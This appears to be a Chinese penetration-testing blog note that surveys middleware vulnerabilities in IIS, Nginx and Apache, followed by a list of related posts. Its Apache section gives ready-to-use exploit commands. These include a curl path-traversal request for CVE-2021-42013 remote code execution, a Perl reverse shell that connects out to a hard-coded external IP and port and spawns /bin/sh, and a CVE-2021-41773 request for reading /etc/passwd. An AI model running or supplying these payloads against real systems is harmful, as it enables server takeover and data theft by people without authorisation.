中间件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE

中间件 -IIS- 短文件 & 解析 & 蓝屏等

1 、短文件:信息收集 前面讲过
2 、文件解析:还有点用 前面讲过
3 、 HTTP.SYS :蓝屏崩溃 前面讲过
4 、 CVE-2017-7269 条件苛刻无意义

中间件 -Nginx- 文件解析 & 命令执行等

1 、后缀解析 文件名解析
配置不当:该漏洞与 Nginx 、 php 版本无关,属于用户配置不当造成的解析漏洞。
CVE-2013-4547 :影响版本: Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
2 、 cve_2021_23017 无 EXP 有 POC
https://github.com/M507/CVE-2021-23017-PoC
3 、 cve_2017_7529 意义不大

中间件 -Apache-RCE& 目录遍历 & 文件解析等

Apache HTTP Server 是美国阿帕奇( Apache )基金会的一款开源网页服务器。该服
务器具有快速、可靠且可通过简单的 API 进行扩充的特点,发现 Apache HTTP
Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍
历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文
件不受通常的默认配置 " 要求全部拒绝 " 的保护,则这些请求可能会成功。如果还为这些别
名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache
2.4.49 和 Apache 2.4.50 ,而不影响更早版本。
1 、 cve_2021_42013 RCE
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi
bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
echo;perl -e 'use
Socket;i="47.94.236.117";p=5566;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in(p,inet_aton(i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};'
2 、 cve_2021_41773 目录穿越
Apache HTTP Server 2.4.49 、 2.4.50 版本对路径规范化所做的更改中存在一个路
径穿越漏洞,攻击者可利用该漏洞读取到 Web 目录外的其他文件,如系统配置文件、网
站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
curl -v --path-as-is
'http://xx.xx.xx.xx/icons/../../../../etc/passwd'
GET
/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/p

相关推荐
Vahala0623-孔勇2 小时前
微服务网关深度设计:从Spring Cloud Gateway到Envoy,流量治理与安全认证实战指南
java·安全·微服务·云原生
独行soc2 小时前
2025年渗透测试面试题总结-98(题目+回答)
网络·安全·web安全·adb·面试·渗透测试·安全狮
RunningShare3 小时前
云原生时代的数据流高速公路:深入解剖Apache Pulsar的架构设计哲学
大数据·中间件·apache·pulsar
key065 小时前
《数据出境安全评估办法》企业应对策略
网络·人工智能·安全
AORO20255 小时前
遨游科普:什么是对讲机?没有网络的山区对讲机可以用吗?
网络·5g·安全·信息与通信
Hello.Reader8 小时前
Kafka 安全SASL 认证全栈实战从 JAAS 到 Kerberos、PLAIN、SCRAM、OAUTH 与委托令牌
分布式·安全·kafka
xixixi777778 小时前
SOC(安全运营中心)
网络·安全·soc·安全运营中心
lypzcgf19 小时前
Coze源码分析-资源库-编辑插件-后端源码-安全与错误处理
安全·插件·coze·coze源码分析·智能体平台·ai应用平台·agent平台
粟悟饭&龟波功19 小时前
【网络安全】一、入门篇:读懂 HTTP 协议
安全·web安全·http
骥龙20 小时前
粤港澳全运会网络安全防御体系深度解析:威胁态势与实战防护
网络·安全·web安全